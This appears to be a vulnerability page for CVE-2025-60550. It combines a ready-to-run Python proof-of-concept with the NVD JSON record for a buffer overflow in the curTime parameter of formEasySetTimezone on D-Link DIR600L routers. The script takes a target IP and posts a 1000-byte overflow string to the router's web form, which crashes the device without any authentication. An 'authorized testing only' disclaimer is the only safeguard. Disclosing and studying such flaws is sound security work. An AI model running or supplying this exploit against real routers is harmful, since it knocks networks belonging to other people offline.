CVE-2025-60550

#!/usr/bin/env python3 """ CVE-2025-60550 PoC - D-Link DIR600L Ax Buffer Overflow in formEasySetTimezone This PoC demonstrates the buffer overflow vulnerability via curTime parameter. Note: Use only for authorized security testing. """ import requests import sys TARGET = "http://{target_ip}" # Replace with target IP PAYLOAD_SIZE = 1000 # Adjust based on buffer size def exploit_buffer_overflow(): """ Send malicious payload to trigger buffer overflow in formEasySetTimezone """ # Construct the malicious curTime parameter (overflow payload) overflow_payload = "A" * PAYLOAD_SIZE # Prepare the exploit request url = f"{TARGET}/goform/formEasySetTimezone" data = { "curTime": overflow_payload # Malicious input causing overflow } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload size: {PAYLOAD_SIZE} bytes") response = requests.post(url, data=data, timeout=10) print(f"[+] Request sent. Status code: {response.status_code}") print("[*] Buffer overflow payload delivered. Check target for DoS or other effects.") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_ip>") sys.exit(1) TARGET = f"http://{sys.argv[1]}" exploit_buffer_overflow()

{"cve": {"id": "CVE-2025-60550", "sourceIdentifier": "[email protected]", "published": "2025-10-24T16:18:41.953", "lastModified": "2025-10-28T02:32:00.087", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "D-Link DIR600L Ax FW116WWb01 was discovered to contain a buffer overflow via the curTime parameter in the function formEasySetTimezone."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-600l_firmware:1.16wwb01:*:*:*:*:*:*:*", "matchCriteriaId": "26C58719-CA17-439C-8A0C-349F6E2BB578"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-600l:a1:*:*:*:*:*:*:*", "matchCriteriaId": "F75E7D9C-03BE-4301-AF9E-9929C33F4EEA"}]}]}], "references": [{"url": "https://github.com/luckysmallbird/DLINK-DIR600LAx-Vulnerability/blob/main/04-buffer%20overflow-formEasySetTimezone.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}